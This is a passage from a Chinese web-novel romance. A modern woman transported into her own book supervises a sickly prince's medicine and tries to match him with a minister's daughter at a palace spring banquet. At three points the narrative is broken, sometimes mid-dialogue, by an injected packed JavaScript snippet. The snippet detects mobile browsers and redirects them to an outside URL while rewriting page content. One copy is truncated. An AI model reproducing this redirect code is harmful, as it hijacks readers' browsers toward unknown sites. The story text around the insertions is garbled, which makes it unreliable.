穆衍没来得及说什么,皇帝便转头将怒火撒向在场的王府中人:“你们平时是怎么照顾的?衍儿现在身体如何你们还不清楚吗?” 云霏和云霞连带着房间内的侍从们哗啦啦跪倒一片,江沁月犹豫了一下,自己一个人站着太鹤立鸡群,便也跟着跪下了。 “陛下莫要怪罪,他们都是尽心尽力做事的,是臣自己不想吃药,常将人支开就把药倒掉了……”穆衍维护道。 江沁月心道难怪窗下的花丛看起来半死不活蔫蔫的,原来是快被药浇死了。 别拿自己的身体开玩笑啊!穆衍同志你一定要好好活下去! 皇帝闻言重重地叹了一口气,语气有些无奈:“衍儿……见你如今这样,朕自觉十分对不起你父亲。” 皇权之下,纵然是血亲又能有几分真感情?把亲儿子丢去行宫不管不顾的不也是他吗? 江沁月垂首跪在地上,默默听着皇帝对好侄儿的关怀。 “……你年纪也不小了,是时候该娶妻了,身边有个知冷知热的人也好。” 皇帝话锋一转开始催婚,江沁月敏锐地竖起耳朵,帮穆衍另组CP可是她和漆桐讨论过的任务方向之一。 “多谢陛下好意,但臣实在无意娶妻。”穆衍淡淡道。 “灼儿比你小几岁都成婚了,”皇帝道,“可是有心仪的姑娘不好意思说?家世门第也没那么重要,你喜欢就好。” “…没有,陛下不必……” 皇帝自然不容他拒绝:“没有的话朕自会帮你相看的。” “……”穆衍没再多说什么。 江沁月猜测皇帝既然这样说,那他心中应该已经有了人选。 皇帝没呆太久便走了,在场众人总算是松了口气,但依然没人敢挪动,都等着穆衍发话。 “没事了,大家各自去忙吧。” 众人作鸟兽散,房间里又只剩下了穆衍与江沁月二人。 江沁月揉了揉跪得生疼的膝盖——可恶的封建主义。 “快坐下歇歇。”穆衍伸手拍了拍床沿,“其实沁月你不必跪的,这跟你没关系。” “也不是完全没关系,我一来殿下的药便没喝完,莫不是又想待会儿偷偷倒掉?” 江沁月笑着指了指床头那半碗被他搁下的药,她决定包揽下监督穆衍好好吃药的活计。 穆衍也笑了,他闭了闭眼,再开口时有些赌气般的任性:“……不想喝。” “为什么不想喝?” “药太苦了,喝得我想吐。” 说着他瞥了一眼床头的药碗,依旧岿然不动,柔顺的发丝垂落在肩头,像一只倔强挑食的大猫。 病中之人,大抵是有些小孩子心性,难免娇气些,江沁月心软地打算哄哄他。 正准备说些什么,却听他接着道,“喝了也好不了,这药日复一日地端来,只是一遍遍提醒我,我这辈子都没指望了。” “殿下别这样想,喝了药才能活下去,好好活下去才能追求自己想要的生活呀。”江沁月温言细语道。 “既然无法痊愈,那每多活一天都是赚到。老天让你之前吃那么多苦,总得活到赚回本才行。” 江沁月叫来人把药端去重新热过,将药碗递到他眼前:“殿下,喝药吧。” 眼前的女孩执着地端着药碗,笑吟吟地看着自己。 穆衍不理解她的执着,可是心底浓重的阴霾似乎被这样明媚温暖的阳光驱散了一些。 他正要接过药碗,又想起什么似的收回手:“我有点没力气,沁月你喂我吧。” 他贪心地想要多寻求一些温暖。 “长痛不如短痛,殿下一口闷了吧。” 见他懒懒地倚在床头,眼中带着几分漫不经心的试探,哪里是没力气的样子?江沁月只当他在闹小孩子脾气。 “药喝得太快的话,更容易想吐……”穆衍拖长声音委屈道。 江沁月妥协了,找来勺子一点一点地喂他喝完了药。 “我记得殿下之前在邀月轩时很喜欢百花酥,殿下只要每天乖乖喝药,我就每日做来给你解苦如何?” 今天——不,今后的每一天,她都要监督穆衍好好喝药。 “好啊,江姑娘可不许嫌麻烦。” “当然不嫌!我做点心还是有一手的,殿下也可以期待一下!” 穆衍笑着点点头,不再去想她为何对自己这般在意。 他相信此刻她是真心关切自己,这就够了。 看他不似刚才那般消沉,江沁月想着这应该是被自己哄好了,便顺势提起了另一档事。 “殿下,我能问问为何你不想成婚吗?刚刚听陛下的意思,他似乎希望你赶紧娶妻。” “我自己都不知道还有几天好活,何必耽误人姑娘家?”穆衍自嘲道,“活又活不好,死也死不了。” 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她决定从头到尾亲自重读一遍。 江沁月看得很快,因为只打算着重看穆衍相关的剧情,其他部分便一目十行了。 看完全文后,窗外天色仍是一片漆黑,江沁月关掉手机屏幕,抱着被子沉思良久。 全文大几十万字,她竟真的从没明写过,穆衍对颜桃究竟是何种心意。 作者默认了男二喜欢女主,读者理所当然也这样想,偏偏男二本人不这样想。 或许是他作为男二的工具人属性太强,或许是他的人设太过温和克制,连江沁月在写作时也常常忽略,他是一个有血有肉有灵魂的角色。 若不是穿书来此走一遭,她也无法得知穆衍真实所想。江沁月想想也就释然了。 “重大发现,十万火急,得空速来。”想通了的她给漆桐发了消息。 这个情况还是很有必要告知漆桐的,而且面对面促膝长谈比较好。 最近她给漆桐汇报情况时,这位天庭苦命打工人似乎又忙碌了起来,开启了轮回模式或者直接已读不回了。 江沁月也懒得等她回复,仰面一倒被子一盖准备睡觉。 穿越之后她一向早睡早起作息规律,很少熬到这么晚。 就在快要进入梦乡时,她感觉身边的床铺陷了下去。 江沁月翻身坐起,只见漆桐就这样突兀地出现在自己床上,还试图卷走她的被子抵御初春深夜的寒意。 她紧紧攥住被子不撒手,咬牙切齿道:“仙君,扰人清梦是非常失礼的!而且这是我!的!床!” “哎——我忙得快起飞了还抽空来看你,就让我歇歇嘛。”漆桐双手抱胸闭目养神,“说吧,什么重大发现?” 江沁月长叹一口气也躺回床上:“穆衍根本不喜欢颜桃。” “嗯……嗯?”漆桐半支起身子,一手撑着脑袋一手戳了戳她,“什么情况?快给我解释清楚。” 江沁月便将穆衍的话以及自己复盘后的想法都讲了一遍。 “言之有理,”漆桐煞有介事地点点头,“那你接下来打算怎么办?” “事已至此,咱们这又是言情小说,我觉得还是帮他组CP比较合适,有情人终成眷属自然是好结局。”江沁月道。 “找谁组CP也不必我们操心,我估计皇帝很快就会帮他相亲了。” “好吧,”漆桐重新躺好,接着嘀咕道,“沁月啊,不是我说你,你时刻不忘任务,但进度始终为零,你上班也是这个工作效率吗?” 21. 聊以慰苦赠金香 仙人板板!说她就算了,还提起了她闹心的现代工作,江沁月的怒火“噌”地一下蹿了上来。 “穿越前我还在尽职尽责地加班!工作是我一个人的吗?我可不像某人只当甩手掌柜,任务进展缓慢你就没责任吗?说好的一根绳上的蚂蚱呢?” 江沁月越说越气:“还有!你又看不到任务进度,怎么知道为零?你连那些人机系统都比不上!” “好啦别生气嘛,都是打工人我当然知道你的不容易。我保证,无能的我也会努力的!我回去就想想办法看能不能摸清任务进度。” 漆桐戳了戳江沁月气鼓鼓的腮帮子,接着问道:“不过沁月啊,我小小地八卦一下,你觉得穆衍这样的角色与什么样的女孩子最相配?” 江沁月很是认真地思考了一下,然后道:“我也不知道。” “人总会被与自己互补或相似的人吸引,穆衍温和淡然,活泼可爱者与他动静结合,温柔贤淑者同他琴瑟和鸣。沁月你以为如何?”漆桐提出了自己的想法。 “以前我或许会认同你,但这段时间相处下来,他于我而言不再是可以被单薄标签定义的纸片人。我想这个问题的答案,只有他自己的心知道。”江沁月闭目叹息。 “我希望他可以按照自己的心意而活,能遇见真心相爱的人共度余生。” 漆桐笑道:“我估计这个世界里没有比你更真心待他的人了。” “这么说好像也没错,虽然我是为了回家,但我也是真的希望他好……” 困意上涌,江沁月呢喃着进入了梦乡。 …… 江沁月每日的生活开始变得规律而忙碌充实,清晨起来先去厨房做好百花酥带去清秋苑,一日三餐每顿饭后监督穆衍好好喝药,下午空闲时分去书坊筹备《四时杂谈》相关事宜。 有邀月轩的宣传,还有颜桃的暗中支持,各路投递的稿件纷至沓来。 有意思的是,投稿的有很多是京中各大家族的夫人小姐们,虽然来稿都署的是笔名,但那些上等的纸墨和秀丽的簪花小楷还是透露出投稿者的身份不低。 文人墨客大多自视清高,不稀罕写这些通俗故事。但这些高门女子闲来无事,又有颜桃的“带头”作用,反而对这事来了兴致。 她们大多受过良好的教育,写起故事来自是信手拈来,文采斐然各有千秋。 江沁月自愧不如,筛选稿件时更是纠结,常带给穆衍看看,让他一起掌掌眼,再拿去跟林三这位说书合伙人一起探讨,决定这些稿件的去留。 又一日清晨,江沁月将新鲜出炉的百花酥放进了食盒,伸了个大大的懒腰。 云霞自然而然地拎起食盒,见她还有几分睡眼惺忪,便道:“江姑娘其实不必如此辛苦,可以把做法教给王府的厨子就好。也请姑娘放心,他们不会泄露配方的。” 江沁月闻言笑了笑:“我不是担心这个,只是我既然答应了殿下,那就要说到做到每日亲自做去。” “江姑娘对殿下真上心,不过托姑娘的福,殿下总算是能好好喝药了,之前我们谁劝都不管用。”云霞诚挚地感激道。 “不能怪我上心,你不知道,那天殿下发病的时候真是把我吓坏了……” 两人说笑着便走到了梧桐苑,穆衍正等着江沁月来一起用早膳。 这几日以来,他的气色已是好了不少,看起来已经是个没事人了,但江沁月依旧谨遵医嘱好好监督,一碗药也没让他落下。 饭后要等上小半个时辰再服药,江沁月因为起太早而哈欠连连,打得眼角都溢出了泪花。 穆衍瞧她这副困顿摸样,心生几分歉意:“每天这样实在是太麻烦你了,你本来也有自己的事要忙。” “呃——不麻烦!”江沁月生生憋住打了一半的哈欠,“答应了殿下自然就要做到,殿下能乖乖喝药便值得。” “我答应你,以后会按时好好喝药的。”穆衍像是怕她不信,接着道,“沁月要是不放心也可以亲自监督我,但不必再用点心哄着我了。” 这就对了嘛,见他态度诚恳,江沁月甚是欣慰。 “好吧,但我一向说话算话,殿下以后若是想吃百花酥就告诉我,别的点心我也能学来做给殿下,只要殿下不嫌弃就好。” 穆衍笑道:“怎么会嫌弃?江姑娘的百花酥真是一绝,王府上下吃过的都赞不绝口。” 每天出炉的百花酥自然不是穆衍一人能吃完的,多余的便分了出去,广受王府众人好评。 时间差不多了,穆衍端起药碗一饮而尽,还将空碗倒了倒,示意江沁月自己喝完了。 江沁月看他被苦得皱成一团却依旧好看的眉眼,起了几分调戏的心思。 “还是要严格监督殿下。”她蓦然伸手抚上穆衍衣襟,指尖略微挑开又自上而下划过,最后停在了他腰带上。 隔了数层布料,她还是能感受到穆衍肌肉的微微紧绷。 穆衍的脸上浮现出几分错愕,这猝不及防的行为属实有些逾矩。 但美色在前,江沁月敢作敢当,转念间为自己想好了托辞。 “监督殿下喝药我还是义不容辞,只是殿下今日穿的深色衣服,把药倒身上我也看不清,只得上手检查一下。”一番歪理被她说得头头是道,“确定殿下真的喝完了药,我也就放心了。” 江沁月说着正要收回手,穆衍却握住了她的手腕按回自己胸口:“是吗?那沁月不再检查得仔细些吗?” 他很是用了些力气,江沁月被带得一个趔趄差点扑到他身上。 穆衍衣服上的馥郁香气扑鼻而来,大抵是身体好了些,总算是有精力拾掇自己了。 他的手指修长白皙,在这春光乍暖的时节却依旧冰凉,江沁月试了几次都挣脱不开他的桎梏。 穆衍似笑非笑地看着她,还在等着她的回答。 江沁月只觉得自己偷鸡不成蚀把米。 她不答,别过头生硬地岔开话题:“殿下身上好香!似乎比之前用的香更浓烈些?” “太医这几日给我开了药浴的方子,那味道太难闻,只有浓香才压得住。”穆衍深深地叹了口气。 “为了身体好,殿下还是得听太医的话……”江沁月听他幽怨的语气,以为他又要逃避治疗。 却听穆衍接着道:“沁月不放心的话,也可以每晚来监督我药浴。” 原来是在这等着她呢!江沁月心中冷笑,她真敢来的话他真给看吗? 她赌气似的冷哼道:“殿下既已喝完了药,我也就不多留了。书坊那边样刊应该已经印好了,我还得赶着去瞧瞧。” 总算是抽回了自己的手,江沁月逃也似的离开了梧桐苑。 手上似乎仍残留有她手腕上的余温,穆衍指尖轻捻,不知在想些什么,也完全没察觉到身边来了人。 “…殿下?”云霏轻声唤道。 自己一进来殿下便是这副出神的样子,而方才似乎瞧见江姑娘正从梧桐苑走出去…… 大抵是殿下的心也跟着飘远了。 不过他要说的事正与此有关。 “属下打探了些益州那边的消息。”云霏道。 “你也学会自作主张了,”穆衍回过神来,睨了他一眼,“查到了些什么?” “怪就怪在,什么也没查到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205824|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”云霏说,“若江姑娘所言非虚,那她夫家那档子事,在当地多半会有所传扬,但属下并没有打听到任何消息。” “许是益州境内穷山恶水多歧路,消息较为闭塞。”穆衍淡淡道。 见他主动帮江沁月开脱,云霏一时不知该如何接话。 他尽可能委婉道:“殿下看是否有必要打点一下那边的官员,让人多留意些?” “不,不必再查了。”穆衍想也没想便直接拒绝的他的提议。 掩耳盗铃。 “……属下遵命,可是殿下…殿下有没有觉得,江姑娘看起来很眼熟?” “你觉得像谁?” 云霏的神情十分惆怅:“我也想不起来……属下也不认识多少人,可是第一次见江姑娘时便觉着在什么地方见过……” 穆衍失笑:“你自己都说不出个所以然来,别想那么多了,真有什么,你妹妹也在她身边看着。” “阿霞心思单纯,而且我看她跟殿下一样,很是喜欢江姑娘呢……”云霏嘟囔道。 喜欢。 穆衍抓住了这个词。 他喜欢吗?怎么样才算是喜欢? 是常常想要见到她,忍不住去关注她维护她?想对她了解更多,却又刻意逃避那些不想知道的事? 他的喜欢,是和云霞一样的喜欢吗? 或许是吧,沁月是他们难得亲近的……朋友。 他不再去想。 …… 时至春分,《四时杂谈》的春分篇如期发行,有好评如潮的《东山起》话本在前,又有邀月轩的帮忙宣传;还有各家小姐夫人们的投稿保质保量,太子妃的亲笔插图可遇不可求…… 总而言之,《四时杂谈》在各家书肆中广受欢迎,反响也很是不错。 “事情能进展得如此顺利,还要多谢殿下的鼎力相助,”江沁月递去一个锦盒,“小小谢礼,还请殿下一定要收下。” “沁月何必如此客气?我只不过借了书坊给你,至于能否做成,靠的都是你自己。”话虽如此,穆衍还是收下了谢礼。 “话也不能这样说,那书中故事也不全是我所写,插图更是得感谢太子妃了,”江沁月笑道,“殿下先看看谢礼喜不喜欢?” 穆衍打开锦盒一看,里面躺着一只精巧绝伦的球形镂空金香囊。 其镂空外壁上雕刻着繁复华丽的花鸟纹,内部的两层同心圆机环设计玄妙,使其中香盂里盛放的香料无论如何也不会洒出。 “好别致的香囊,是沁月自己设计的吗?”饶是穆衍也有些讶异,看了好半晌才笑着答话,“多谢,我很喜欢。” “是之前在其他地方见过类似的,我可没这个本事。”见他眼中欣喜不似有假,那自己一番心意也不算白费。 江沁月冥思苦想许久才决定以此作为谢礼,之前她本想与穆衍分成收益被拒绝了,寻常的金银珠宝身为皇族的穆衍也不缺,便只能在礼物的设计上动用一些巧思了。 她想起了曾经在博物馆中看到过的香囊,来大梁这么久还没见过同款。 江沁月便又找到了帮她打造出给主角大婚贺礼的那位工匠。 这里不得不叹服于大梁的工匠精神,江沁月自然不知道博物馆文物中的精巧机关是如何设计的,但那工匠还真就根据她的描述成功做出来了。 “殿下,太子殿下和太子妃来了。”云霏风风火火进来传话,打断了二人的鉴宝环节。 “快请进。”穆衍说着将香囊收回了锦盒,放到了一边的博古架上。 片刻后,穆灼与颜桃携手而来,他率先开口道:“堂兄的身体可好些了?” 22. 赏春佳宴一线牵 襄王殿下再度病倒的消息早已在京城中传扬开了,普通人不知其中内情,但他的病情在权贵圈子里已经不是秘密。 “多谢太子殿下关心,我已经好多了。”穆衍客气道。 “堂兄与我不必如此拘礼,只是千万要保重,别拿自己的身体不当回事。”穆灼语重心长。 明明他年纪小些,这话却将穆衍说成了不懂事的小孩子似的。 不过喝个药都得人哄着,确实也跟小孩子差不多了——就事论事。 几人闲聊一阵,颜桃主动提起了另一件事:“三月初三上巳节,陛下拟于京郊行宫中举办赏春宴,殿下身体无碍的话,希望届时与沁月姐姐能一道前来。” “正是百花盛开的好时节,堂兄一向爱花,定不能辜负这好春光。”穆灼接过话,与颜桃唱起了双簧。 “这也是父皇的意思,他也希望你出去走走,别老呆在府里闷出别的病来。”他长叹一声,接着道,“父皇近来身子也不太康健,却也总记挂着你。” 这是不给人拒绝的机会了,穆衍便应了下来。 “那……我也一定要去吗?”江沁月试探道。 她既没有合适的身份,也不是什么社交达人,并不想去这种宴会凑热闹。 “沁月姐姐一起来吧,陛下身子不好,赏春宴便全权交给我们操办了,”颜桃道,“也不算什么正式宫宴,就当是郊游踏青好了。” 话已至此,江沁月也不好再多说什么。 “对了,《四时杂谈》发行后我还未曾看过,沁月姐姐能带我去书坊看看吗?”颜桃朝江沁月眨了眨眼。 江沁月本想说她去拿来就好,但瞧着颜桃的神情似是有别的话想说,便与她一起向书坊走去。 从梧桐苑出来后没走多久,行至一僻静处时颜桃便停下脚步,转身握住了江沁月的手。 “《四时杂谈》我早已叫人买来看过。实不相瞒,其实我是另有一事要拜托沁月姐姐。”颜桃低声道。 “太子妃请讲,只要我能帮得上忙,定是在所不辞。” “别这么生分,既然是朋友,那私下里和往常一样叫我淑瑶就好,”颜桃苦笑道。 她们正站在一片花园里,枯树发出了新绿的芽叶,满园芳菲竞相盛放,冬日里的萧条早已不见。 颜桃望着园中盎然的春意,好看的眉眼间攀上几分苦恼:“需要姐姐帮忙的事,正与那赏春宴有关。” 原来这赏春宴更像是一场游园会,宾客们赏花吟诗,曲水流觞。且因着京城权贵族中的年轻男女都会参加,所以也有点相亲大会的意思。 “所以是要给襄王殿下选妃?”江沁月心念一动。 任务啊任务!终于要有机会了吗? “陛下是这个意思……而且似乎已有比较中意的王妃人选。”颜桃愁眉不展,“但是……” 江沁月连忙追问:“陛下中意的是哪家小姐?” “青州刺史李大人的长女,李妍。” 江沁月闻言也蹙起了眉头:“李大人?是从前的李相?” 颜桃点点头,又叮嘱道:“此事先莫要让殿下知晓。” 李相的好大儿,正是当初给了初来京城的穆衍好果子吃的李岱。 要想将一个大家族连根拔起谈何容易?只手遮天的李家到最后也并未彻底倒台,李相被贬去青州做了刺史,离京城并不算太远,而李家大部分族人也好端端地留在京城里,包括李相的妻儿。 皇帝自然不会知道穆衍与李家的小恩怨,他不过是从政治利益上考虑——李家与不可能再掌握实权的襄王结亲,总能让人放心些。 “若是二人彼此无意,那结为夫妻不过是互相折磨,何其不幸?”颜桃叹息道,“沁月姐姐会不会觉得我这话太天真?婚姻本就听凭父母之命媒妁之言,能自己做主婚事,两情相悦的才是少数。” “不会,少数的才是幸运。”江沁月回答得很坚定。 在这个架空的封建大背景下,主角是为数不多能听凭本心追求真爱的人。 若是他们都失去了天真,故事还有何存在的意义? “等等……所以我是要帮忙撮合李大小姐和殿下吗?” 颜桃连连摆手:“不必强求,找机会让他们认识一下就好了。你也可以留意一下,殿下是否有其他中意的姑娘。” 江沁月一口答应了下来,任务转机这不就来了吗? 她一定努力担负起红娘的职责。 …… 三月初三,天朗气清,行宫中花木繁盛,清晨的阳光洒落,照亮了融融春色。 在江沁月“想开开眼界见识皇家气派”的委婉请求下,穆衍与她一早便到了京郊行宫。 但她当然不是真的上这旅游观光来了。 “殿下,趁着现在人少,我们先去芳华殿看看吧?淑瑶说最名贵稀罕的花草都在那里了。”江沁月道。 宴会是在中午进行,早来的可以在行宫中自行闲逛游玩,也方便各家公子小姐们互相结交。 颜桃便让江沁月引着穆衍早些来,她会让李妍在芳华殿等着,让这二人“偶遇”认识一下。 芳华殿果然不负盛名,从宫苑到主殿都簇拥着各色名贵花卉,芍药牡丹争奇斗艳,姹紫嫣红让人目不暇接。 而在这艳丽的百花丛中,静静伫立着一道窈窕身影。 江沁月不太确定那是不是李妍。 她之前打听过,据说这李大小姐骄纵惯了,和她亲哥哥李岱都是一样的跋扈性子。 不远处那背对他们而立的女子闻声回头,她眉目清婉,笑容恬淡,一身素雅的白裙在万紫千红中反倒显得出挑。 这活脱脱就是画中的古典美人走出来了,哪里有半点骄纵跋扈的样子? 江沁月深刻地感受到了古代人与现代人的差距,自己也是同样素净的打扮,却学不来人家优雅端方的仪态气度。 不过她一个现代人也不必追求这些,当一个讲文明懂礼貌的好青年就行。 女子款步来到他们面前,向穆衍行了一礼:“青州刺史之女李娴,见过襄王殿下。” 接着她又向江沁月微微颔首:“见过江姑娘,前几日在《四时杂谈》上看见了自己的投稿,我喜不自胜。” 江沁月有些意外,但并未追问她的作品是哪一篇,既然都用了笔名,那便是不想暴露身份。 而且眼下她更在意另一件事:“你是李妍大小姐的姐妹吗?” “是,我是她的庶妹。长姐今日晨起偶感不适,怕爽约失礼便让我来告知殿下一声,也顺带向殿下赔个不是。” 穆衍有些不明所以,但还是道了句无妨。 江沁月面上风平浪静,心底里却在尖叫咆哮,眼见着可能要有点起色的任务,难道就要这样夭折了吗? “听闻殿下前些日子病得严重,如今可好些了?”李娴说话时的语气也如这三月春风一般和煦柔婉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“殿下果然如传闻中所说一般,待人接物十分亲和,”李娴含笑道,“与我长姐大哥他们是截然不同的性子。” 江沁月能看出来,她对穆衍是有点意思的。 倒是穆衍今日的话格外少,江沁月也拿不准他的心思。 “殿下有没有哪里不舒服?要不要进船舱去休息会儿?”她关切地问了一句。 穆衍的脸色看上去倒是没什么不好,但上次病发时的情形把江沁月吓得不轻。 而且太医说他的心疾每发作一次都会给机体带来不可逆的损害,她希望别再有下次了。 “不必担心我,难得出来便玩个尽兴,我没那么虚弱。”穆衍越过李娴看向她,宽慰她似地笑了笑。 画舫渐渐行至翠微湖心,凭栏远望,近些处是波光粼粼绿柳拂堤,更远处是亭台楼阁雕梁画栋,整座行宫的风光尽收眼底。 “江姑娘现如今是住在王府上吗?”李娴突然问道。 “对,毕竟殿下和我在某种意义上也是上下级关系嘛,”江沁月道。 这话也没毛病,穆衍将书坊交给她让她放手去干,已经能算是她的天使投资人了。 她接着笑道:“殿下一片好心留我暂居王府,我也十分感激,这样来去书坊能方便许多。” 江沁月滔滔不绝地夸赞着这位绝世好老板,但她没有看见穆衍的欲言又止。 23. 你纠我缠无止休 穆衍垂眸看向腰间的镂空金香囊,那是江沁月送给他的。 他喜欢并珍视这份礼物,所以今日特地佩上。 低垂的睫羽掩住了眼中的阴翳,修长的指尖无意识地绞着香囊下垂坠的流苏。 她说,他们只是上下级。 原来她是这样想的吗? “沁月之前亦帮过本王大忙,一来二去间,我们也能算得上朋友了。”穆衍说着看向了江沁月。 对上他那双墨黑的眼眸,江沁月下意识地点点头,算是认可了他的话。 她看见穆衍似乎笑了一下。 一阵风起,吹散了方才遮蔽住太阳的积云,阳光重新洒落在湖面上,折射出点点细碎的金光。 湖心风大,吹得几人衣摆翩飞,猎猎作响,也掀起了浪,连带着画舫也有些晃荡,他们便准备去船舱内歇息片刻。 江沁月不太穿得惯这古代的曳地长裙,再加之船身摇晃,她一个没注意便踩住了裙角,被绊得失去了平衡。 “哎呀——” 电光火石间,江沁月尽力扭转了身体角度,狠狠倒向了身侧的李娴。 李娴身形纤弱,猝不及防被她这么一撞后也站立不稳,跌向穆衍的方向。 对不住了妹子,虽然我就是故意的——她在心中默默向李娴道歉。 江沁月结结实实地与地面来了个亲密拥抱,但眼见穆衍及时接住了李娴,她还是露出了欣慰的笑容。 这跤不白摔!她是个敬业的好红娘,当然要兢兢业业,抓住时机为二人创造机会。 然而穆衍与李娴的肢体接触转瞬即逝,二人看她摔得狼狈,连忙过来查看她的情况。 “沁月!你没事吧?有没有伤着哪里?”穆衍将她扶坐起来,语气十分关切。 “没事没事,嘶……”江沁月膝盖疼得厉害,本想嘴硬,却在试着站起来时又重重地摔了回去。 更要命的是,她这一下直接跌坐到了穆衍身上。 “别逞强。”穆衍伸手扶住了她的腰,替她稳住身形。 江沁月几乎是整个人趴在了穆衍怀中,她很不习惯这样的亲密接触,感受到穆衍横亘在腰间的双手,她整个人都十分僵硬不自在。 这动也不是,不动也不是…… 果然,强扭的瓜不甜,硬塞进嘴里的豆腐也没那么好吃。 事情的发展真是超乎江沁月的想象,两位相亲嘉宾没什么进展,她这个红娘却扑进了穆衍的怀抱,这像话吗? 好死不死,她抬眼便看见穆衍今日穿着的浅色常服上显眼的一抹嫣红——她的口脂不小心蹭上去了。 江沁月心一横眼一闭,撑着穆衍的胸口打算从他身上挪下去,不料刚一动便感受到一股神秘力量牵制住了她的动作。 低头一看,原来是衣带被自己送给穆衍那香囊的镂金纹饰给勾住了。 手忙脚乱地总算是解开了被勾住的衣带,江沁月长舒一口气。 她冲穆衍尴尬地笑了笑:“看来这个香囊很有安全隐患啊哈哈哈……殿下以后可别再戴了……” “这香囊的设计有如此巧思,我也喜欢得紧,从此不戴岂不是辜负了你的心意?” 穆衍说着转了转手中的香囊,内部中心处的香盂果然纹丝不动。 “原来这香囊是江姑娘送给殿下的吗?真是精巧别致。”一旁的李娴出声夸赞道,江沁月听着却觉得这话里有话。 等等,她好像忘了一件很重要的事。 何以致叩叩?香囊系肘后。 女子送男子香囊,是表达爱慕之情的意思…… “殿下仁厚,将书坊无偿借给我使用,我心中感激。之前得知殿下素爱用香,便特意寻来这么个玲珑玩意儿作为谢礼。” 江沁月赶紧解释,尽力将这香囊说得云淡风轻一些。 穆衍垂眸不语,只轻轻摩挲着腰间佩着的香囊。 就如此急于撇清他们之间的关系吗? 这一跤属实摔得不轻,不过好在没伤到筋骨,江沁月在地上坐了好一会儿,总算是缓了过来。 穆衍和李娴一左一右搀扶着她这个伤员回到船舱,在舱房的雕花窗边寻了个位置坐下。 画舫回程很快,李娴有一搭没一搭地与她闲聊,穆衍则一言不发,不知在想些什么。 将要靠岸时江沁月的膝盖已经不痛了,她眼神在这看起来本该颇为登对的二人间转了几转,无奈仰天长叹—— 这一跤应该还是白摔了。 …… 几人从画舫下来后,便准备一道前往设宴之处,却见不远处衣着艳丽的一男一女正朝他们走来。 “让二妹早些出门传个信儿,结果就再也不见了踪影,叫我好生担心,原来是已经和襄王殿下混到一处去了。” “二妹的心思未免太活络了些,就算阿妍不喜这桩婚事,那也轮不到你头上。” 二人的长相与李娴有几分相似,却神情倨傲,阴阳怪气,一看就不好相与。 想必这就是李岱与李妍兄妹俩了。 “大哥,长姐,你们来了。”李娴敛眉低目,向二人微微行了一礼。 二人没理她,只先向穆衍敷衍地行了礼:“见过襄王殿下。” 老爹都被贬了多少年了,这俩人依旧鼻孔朝天,一副谁也不放在眼里的样子。 江沁月心中暗暗吐槽。 “哟,看来你们挺玩得开啊,二妹再心急,也得注意一下影响吧。” 李岱一眼就看见了穆衍胸口那抹嫣红,虽然已经简单处理过,还是留下了浅淡的印记。 他终于瞥了李娴一眼:“莫不是想学你娘当年那般,扮个清水出芙蓉勾引殿下,想要飞上枝头变凤凰吧?” “有其母必有其女,勾栏做派,果然是贱婢教出来的好女儿。”李妍附和道。 这话说得未免也太难听,何况他们是血脉相连的姊妹? 江沁月之前打听过,李岱和李妍是李相正室所出,其他孩子都是姬妾所生。 而李娴的母亲之前是一名清倌儿,温婉动人,颇具才情,李相看上了她,替她赎身带回府中做了妾。 李娴不卑不亢道:“是长姐托我来传话的,与我娘何干?且纵然你们厌恶我,也不必给殿下泼脏水。” “是我让你去传话的,那也是我指使你去勾引殿下的吗?”李妍嗤笑一声,一步一步逼近李娴。 她抬手捏住李娴的下巴,指甲上鲜红的蔻丹很是刺目:“没听见哥哥说的吗?我不稀罕的婚事,也轮不到你!” “认清楚自己的身份,别痴心妄想,盼着有一天做了王妃能凌驾在我头上!” 说完她用力一掼,推得李娴踉跄几步。 欺人太甚! 江沁月本不想多惹是非,但实在是有点看不下去了,她一把将李娴拉到自己身后,上前一步道: “李大小姐好大的脾气,拦着别人攀高枝,可自己不也一心想做太子妃吗?只可惜如今是没这个机会了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247653|180587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江沁月在《东山起》中只写了李相想将女儿嫁进皇室,李妍喜欢穆灼这事,还是前不久八卦小能手林三告诉她的。 所以今日李妍是故意装病逃避相亲,却也不想放弃能见着穆灼的机会,便等到即将开宴时再来。 结果瞧着庶妹有心借机上位,她又不乐意了。 江沁月皮笑肉不笑地看着李妍,眼见她就要发作,结果李岱化身护妹狂魔先一步爆发。 “你是什么东西?这里有你说话的份吗?” 接着他又将矛头指向了穆衍:“殿下是在外征战太久还是病了太久,连基本礼数也记不得了?今日虽算不得正式宫宴,也不该将这种不三不四的女人带来。” “看来是殿下对你太过宠幸,才让你在这种地方也敢随意撒野。”李岱上上下下地打量着她,眼神让人极为不适。 “倒也算是个清秀美人,殿下不如让给我玩玩?长兄如父,我也就做个主,将我这二妹许给殿下了。” “大哥!”李娴细细柔柔的声音也带上了几分怒意,试图喝止住他。 李岱哪里会理她,说着就要摸上江沁月的脸。 这人张嘴就是瞎造谣,闭嘴就是给人乱扣帽子,狺狺狂吠不似人言。 江沁月恶心得紧,正准备一招制敌攻其下盘,旁边却伸来一只手抓住了李岱的手腕。 是穆衍。 